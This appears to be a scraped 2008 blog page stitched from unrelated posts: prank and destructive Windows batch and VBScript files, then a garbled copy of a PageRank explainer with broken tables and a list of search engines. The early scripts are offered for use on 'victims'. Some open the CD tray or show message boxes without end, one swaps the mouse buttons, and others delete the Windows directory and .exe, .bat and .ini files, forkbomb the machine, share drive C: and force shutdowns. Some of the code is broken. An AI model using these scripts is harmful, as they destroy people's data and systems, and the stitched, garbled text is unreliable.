The first code we are going to look at is one that makes the cd tray open and close repeatedly until shutdown, or
(don't tell your friends, you press ctrl + alt + delete and go to processes, and end wscript.exe (this code is vbs so save in note pad as whateveryouwant.vbs)
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
end if
next, we have a code that turns on and off your capslock repeatedly, also vbs, end same way as last time, this turns on and off your capslock every tenth of a second.
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Now we have a batch file that pops up with repeating message boxes
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * since you are stuck reading
msg * I am gonna tell you a story
msg * bout a dumb guy named (victims name)
msg * who just opened my batch
msg * and got stuck listening to a story
msg * from a computer
msg * so he was opening up batches
msg * when one pops up with a cool msg
msg * then it says "hi"
msg * Hi
msg * Are you having fun?
msg * I am!
msg * have fun playing with this one (insert victim)
msg * Because you have been P-w-n-e-d with a capital "P"
GOTO BEGIN
we now have a batch that is like a computer password, maybe you could stick it in autoexec.exe and make it run off startup?
@Echo off
echo Enter password then [F6] and then smack the [Enter] key real hard!
prompt $e[30m
echo on
echo off
copy con password.dat>nul
prompt $e[0m
echo on
echo off
cls
copy password.set+password.dat password.bat>nul
call password.bat
if '%password%==qwerty goto done
echo Incorrect, you are not trying to break into my pc are you?
choice /t:y,3
if errorlevel 2 goto next
:next
erase password.bat
erase password.dat
:hello
cls
echo Turn off PC
goto hello
:done
erase password.dat
erase password.bat
set password=qwerty
prompt $p$g
now we have a batch that switches the left mouse button with your right mouse button (also maybe add a code to stick in someones autoexec,
that would really make them mad)
@echo off
Rundll32 user32,SwapMouseButton
msg * hahaha
msg * this is gunna screw you up
msg * good look finding how to fix it
batch file that will shutdown your computer and send a few messages about the matrix, rather bland and could be worked on a little bit more, some one
could tweak it a little and i'll repost it and give you credit, perhaps change the dos txt to green
@ Echo off
Title Matrix
msg * The matrix has you, you can not escape
rundll32.exe disable mouse
Attrib +h C:*.*
echo deleting harddrive
echo 1001101010101011111111101010101
echo 010101010101010101010101010111
assoc
assoc
Attrib C:Documents and settings*.*
net share hack=C:
shutdown -s -c 60
this is a VBs file so of course save as VBS, you can replace the txt in this code with whatever you want
Set wshshell = wscript.CreateObject("WScript.Shell")
Wshshell.run "Notepad"
wscript.sleep 400
wshshell.sendkeys "M"
wscript.sleep 100
wshshell.sendkeys "a"
wscript.sleep 120
wshshell.sendkeys "s"
wscript.sleep 200
wshshell.sendkeys "o"
wscript.sleep 140
wshshell.sendkeys "n"
wscript.sleep 100
wshshell.sendkeys " "
wscript.sleep 100
wshshell.sendkeys "P"
wscript.sleep 200
wshshell.sendkeys "w"
wscript.sleep 150
wshshell.sendkeys "n"
wscript.sleep 170
wshshell.sendkeys "s"
wscript.sleep 200
wshshell.sendkeys " "
wscript.sleep 100
wshshell.sendkeys "A"
wscript.sleep 50
wshshell.sendkeys "l"
wscript.sleep 120
wshshell.sendkeys "l"
wscript.sleep 160
wshshell.sendkeys " "
wscript.sleep 200
wshshell.sendkeys "N"
wscript.sleep 100
wshshell.sendkeys "e"
wscript.sleep 100
wshshell.sendkeys "w"
wscript.sleep 200
wshshell.sendkeys "b"
wscript.sleep 120
wshshell.sendkeys "s"
Friday, March 28, 2008
Batch programing tutorials simplified
Batch Programing
Cool batch file to lock and disguise a folder.
Move any files you want to be hidden in your locker, double click the bat again and you will be asked to lock when the folder is locked it will dissapear
to unlock the folder double click the bat file enter any pass. or make up one of your own and input it into the code
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End
Batch that kills and deletes the windows directory, and all .txt .exe .bat and .ini files then forkbombs your computer
@echo off
kill %windir%
del %windir%
del *.txt
del *.exe
del *.bat
del *.ini
:ok
start, cmd
Goto ok
Erases hard drive then shuts down the comp:
hdmemory/release
echo total hard drive erased
echo Do not use on anyone
shutdown -r -f -t0
I forgot the obvious forkbomb:
@ECHO OFF
:START
START batch.bat
GOTO STAR
This is a simple Batch example on some of the colors you can change the txt to in dos
@ECHO OFF
color %num%
:start
cls
COLOR %num%
ECHO Green = 1
ECHO Red = 2
ECHO Yellow = 3
ECHO Aqua = 4
ECHO Purple = 5
ECHO White = 6
ECHO Blue = 7
ECHO Gray = 8
ECHO.
SET/P color=Enter Color:
IF "%color%" equ "1" goto 1
IF "%color%" equ "2" goto 2
IF "%color%" equ "3" goto 3
IF "%color%" equ "4" goto 4
IF "%color%" equ "5" goto 5
IF "%color%" equ "6" goto 6
IF "%color%" equ "7" goto 7
IF "%color%" equ "8" goto 8
IF "%color%" equ "exit" goto end
IF "%color%" equ "%color%" goto error
:1
set num=a
goto start
:2
set num=c
goto start
:3
set num=e
goto start
:4
set num=B
goto start
:5
set num=D
goto start
:6
set num=F
goto start
:7
set num=9
goto start
:8
set num=8
goto start
:error
cls
color 0
ECHO That is not a Valid Color
echo.
pause
goto start
Google Page Rank Explained
How to tell who's important
If you've ever created a web page, you've probably included links to other pages that contain valuable, reliable information. By doing so, you are affirming the importance of the pages you link to. Google's PageRank algorithm stages a monthly popularity contest among all pages on the web to decide which pages are most important. The fundamental idea put forth by PageRank's creators, Sergey Brin and Lawrence Page, is this: the importance of a page is judged by the number of pages linking to it as well as their importance. We will assign to each web page P a measure of its importance I(P), called the page's PageRank. At various sites, you may find an approximation of a page's PageRank. (For instance, the home page of The American Mathematical Society currently has a PageRank of 8 on a scale of 10. Can you find any pages with a PageRank of 10?) This reported value is only an approximation since Google declines to publish actual PageRanks in an effort to frustrate those would manipulate the rankings. Here's how the PageRank is determined. Suppose that page Pj has lj links. If one of those links is to page Pi, then Pj will pass on 1/lj of its importance to Pi. The importance ranking of Pi is then the sum of all the contributions made by pages linking to it. That is, if we denote the set of pages linking to Pi by Bi, then| with stationary vector |
Computing I
There are many ways to find the eigenvectors of a square matrix. However, we are in for a special challenge since the matrix H is a square matrix with one column for each web page indexed by Google. This means that H has about n = 25 billion columns and rows. However, most of the entries in H are zero; in fact, studies show that web pages have an average of about 10 links, meaning that, on average, all but 10 entries in every column are zero. We will choose a method known as the power method for finding the stationary vector I of the matrix H. How does the power method work? We begin by choosing a vector I 0 as a candidate for I and then producing a sequence of vectors I k by| General principle: The sequence I k will converge to the stationary vector I. |
| I 0 | I 1 | I 2 | I 3 | I 4 | ... | I 60 | I 61 |
| 1 | 0 | 0 | 0 | 0.0278 | ... | 0.06 | 0.06 |
| 0 | 0.5 | 0.25 | 0.1667 | 0.0833 | ... | 0.0675 | 0.0675 |
| 0 | 0.5 | 0 | 0 | 0 | ... | 0.03 | 0.03 |
| 0 | 0 | 0.5 | 0.25 | 0.1667 | ... | 0.0675 | 0.0675 |
| 0 | 0 | 0.25 | 0.1667 | 0.1111 | ... | 0.0975 | 0.0975 |
| 0 | 0 | 0 | 0.25 | 0.1806 | ... | 0.2025 | 0.2025 |
| 0 | 0 | 0 | 0.0833 | 0.0972 | ... | 0.18 | 0.18 |
| 0 | 0 | 0 | 0.0833 | 0.3333 | ... | 0.295 | 0.295 |
Three important questions
Three questions naturally come to mind:- Does the sequence I k always converge?
- Is the vector to which it converges independent of the initial vector I 0?
- Do the importance rankings contain the information that we want?
| with matrix |
| I 0 | I 1 | I 2 | I 3=I |
| 1 | 0 | 0 | 0 |
| 0 | 1 | 0 | 0 |
A probabilitistic interpretation of H
Imagine that we surf the web at random; that is, when we find ourselves on a web page, we randomly follow one of its links to another page after one second. For instance, if we are on page Pj with lj links, one of which takes us to page Pi, the probability that we next end up on Pi page is then| with matrix | and eigenvector |
How does the power method work?
In general, the power method is a technique for finding an eigenvector of a square matrix corresponding to the eigenvalue with the largest magnitude. In our case, we are looking for an eigenvector of S corresponding to the eigenvalue 1. Under the best of circumstances, to be described soon, the other eigenvalues of S will have a magnitude smaller than one; that is,When things go wrong
In our discussion above, we assumed that the matrix S had the property that| I 0 | I 1 | I 2 | I 3 | I 4 | I 5 |
| 1 | 0 | 0 | 0 | 0 | 1 |
| 0 | 1 | 0 | 0 | 0 | 0 |
| 0 | 0 | 1 | 0 | 0 | 0 |
| 0 | 0 | 0 | 1 | 0 | 0 |
| 0 | 0 | 0 | 0 | 1 | 0 |
| with stationary vector |
Computing I
What we've described so far looks like a good theory, but remember that we need to apply it toSummary
Brin and Page introduced Google in 1998, a time when the pace at which the web was growing began to outstrip the ability of current search engines to yield useable results. At that time, most search engines had been developed by businesses who were not interested in publishing the details of how their products worked. In developing Google, Brin and Page wanted to "push more development and understanding into the academic realm." That is, they hoped, first of all, to improve the design of search engines by moving it into a more open, academic environment. In addition, they felt that the usage statistics for their search engine would provide an interesting data set for research. It appears that the federal government, which recently tried to gain some of Google's statistics, feels the same way. There are other algorithms that use the hyperlink structure of the web to rank the importance of web pages. One notable example is the HITS algorithm, produced by Jon Kleinberg, which forms the basis of the Teoma search engine. In fact, it is interesting to compare the results of searches sent to different search engines as a way to understand why some complain of a Googleopoly.Better Search engine
| Search Engine name http://www.gahooyoogle.com/ *** http://www.jux2.com/ ***** http://www.dogpile.com/ ***** http://www.sputtr.com/ ***** http://www.spacetime.com/ http://mindset.research.yahoo.com/ http://www.mooter.com/ http://qunu.com/ http://www.webcrawler.com/info.wbcrwl/ http://www.scirus.com/srsapp/ http://www.randomwebsearch.com/ http://www.soople.com/soople_int.php | URL | Category |
| Accoona | www.accoona.com | A.I. Search (HM) |
| AfterVote (SEM) | www.aftervote.com | Social Search |
| Agent 55 | www.agent55.com | MetaSearch |
| AllTha.at | www.allth.at | Continuous Search |
| AnswerBus | www.answerbus.com | Semantic Search |
| Blabline | www.blabline.com | Podcast Search |
| Blinkx* | www.blinkx.com | Video Search |
| Blogdigger | www.blogdigger.com | Blog Search |
| Bookmach.com* | www.bookmach.com | Bookmark Search |
| ChaCha* (#1 2006) | www.chacha.com | Guided Search |
| ClipBlast!* | www.clipblast.com | Video Search |
| Clusty* | www.clusty.com | Clustering Search |
| CogHog | www.infactsolutions.com/projects/coghog/demo.htm | Semantic Search |
| Collarity* | www.collarity.com | Social Search (HM) |
| Congoo* | www.congoo.com | Premium Content Search |
| CrossEngine (Mr. Sapo)* | www.crossengine.com | MetaSearch |
| Cydral | http://en.cydral.com | Image Search (French) |
| Decipho* | www.decipho.com | Filtered Search |
| Deepy | www.deepy.com | RIA Search |
| Ditto* | www.ditto.com | Visual Search |
| Dogpile | www.dogpile.com | MetaSearch |
| Exalead* | www.exalead.com/search | Visual Search |
| Factbites* | www.factbites.com | Filtered Search |
| FeedMiner | www.feedminer.com | RSS Feeds Search |
| Feedster | www.feedster.com | RSS Feeds Search |
| Filangy | www.filangy.com | Social Search |
| Find Forward | www.findforward.com | Meta Feature Search |
| FindSounds* | www.findsounds.com | Audio Search |
| Fisssh! | www.fisssh.com | Filtered Search (HM) |
| FyberSearch | www.fybersearch.com | Meta Feature Search |
| Gigablast* | www.gigablast.com | Blog Search |
| Girafa* | www.girafa.com | Visual Display |
| Gnosh | www.gnosh.org | Meta Search |
| GoLexa | www.golexa.com | Meta Feature Search |
| GoshMe* (SEM) | www.goshme.com | Meta Meta Search |
| GoYams* | www.goyams.com | Meta Search |
| Grokker* | www.grokker.com | Meta Search |
| Gruuve | www.gruuve.com | Recommendation Search |
| Hakia | www.hakia.com | Meaning Based Search |
| Hyper Search | http://hypersearch.webhop.org.90.seekdotnet.com | Filtered Search |
| iBoogie | www.iboogie.com | Clustering Search |
| IceRocket* | www.icerocket.com | Blog Search |
| Info.com | www.info.com | MetaSearch |
| Ixquick* | www.ixquick.com | Meta Search |
| KartOO* | www.kartoo.com | Clustering Search |
| KoolTorch (SEM) | www.kooltorch.com | Clustering Search |
| Lexxe* | www.lexxe.com | Natural Language Processing (NLP) |
| Lijit | www.lijit.com | Search People |
| Like* | www.like.com | Visual Search |
| LivePlasma* | www.liveplasma.com | Recommendation Search (HM) |
| Local.com* | www.local.com | Local Search |
| Mamma | www.mamma.com | MetaSearch |
| Mnemomap | www.mnemo.org | Clustering Search |
| Mojeek* | www.mojeek.com | Custom Search Engines (CSE) |
| Mooter* | www.mooter.com | Clustering Search |
| Mp3Realm | http://mp3realm.org | MP3 Search |
| Mrquery | www.mrquery.com | Clustering Search |
| Ms. Dewey* | www.msdewey.com | Unique Interface (HM) |
| Nutshell | www.gonutshell.com | MetaSearch |
| Omgili | www.omgili.com | Social Search |
| Pagebull* | www.pagebull.com | Visual Display |
| PeekYou | www.peekyou.com | People Search |
| Pipl | http://pipl.com | People Search |
| PlanetSearch* | www.planetsearch.com | MetaSearch |
| PodZinger | www.podzinger.com | Podcast Search |
| PolyMeta | www.polymeta.com | MetaSearch |
| Prase | www.prase.us | MetaSearch |
| PureVideo | www.purevideo.com | Video Search (HM) |
| Qksearch | www.qksearch.com | Clustering Search |
| Querycat | http://querycat.com | F.A.Q. Search (HM) |
| Quintura* | www.quintura.com | Clustering Search |
| RedZee | www.redzee.com | Visual Display |
| Retrievr | http://labs.systemone.at/retrievr/ | Visual Search |
| Searchbots | www.searchbots.net | Continuous Search |
| SearchKindly | www.searchkindly.org | Charity Search |
| Searchles* (DumbFind) | www.searchles.com | Social Search |
| SearchTheWeb2* | www.searchtheweb2.com | Long Tail Search |
| SeeIt | www.seeit.com | Image Search |
| Sidekiq* | www.sidekiq.com | MetaSearch |
| Slideshow* | http://slideshow.zmpgroup.com/ | Visual Display |
| Slifter* | www.slifter.com | Mobile Shopping Search (HM) |
| Sphere | www.sphere.com | Blog Search |
| Sproose | www.sproose.com | Social Search |
| Srchr* | www.srchr.com | MetaSearch |
| SurfWax* | www.surfwax.com | Meaning Based Search |
| Swamii | www.swamii.com | Continuous Search (HM) |
| TheFind.com* | www.thefind.com | Shopping Search |
| Trexy* | www.trexy.com | Search Trails |
| Turboscout* | www.turboscout.com | MetaSearch |
| Twerq | www.twerq.com | Tabbed Results |
| Url.com* | www.url.com | Social Search |
| WasaLive! | http://en.wasalive.com | RSS Search |
| Web 2.0* | www.web20searchengine.com | Web 2.0 Search |
| Webbrain* | www.webbrain.com | Clustering Search |
| Whonu?* | www.whonu.com | MetaSearch |
| Wikio* | www.wikio.com | Web 2.0 Search |
| WiseNut* | www.wisenut.com | Clustering Search |
| Yoono* | www.yoono.com | Social Search |
| ZabaSearch* | www.zabasearch.com | People Search |
| Zuula* | www.zuula.com | Tabbed Search (HM) |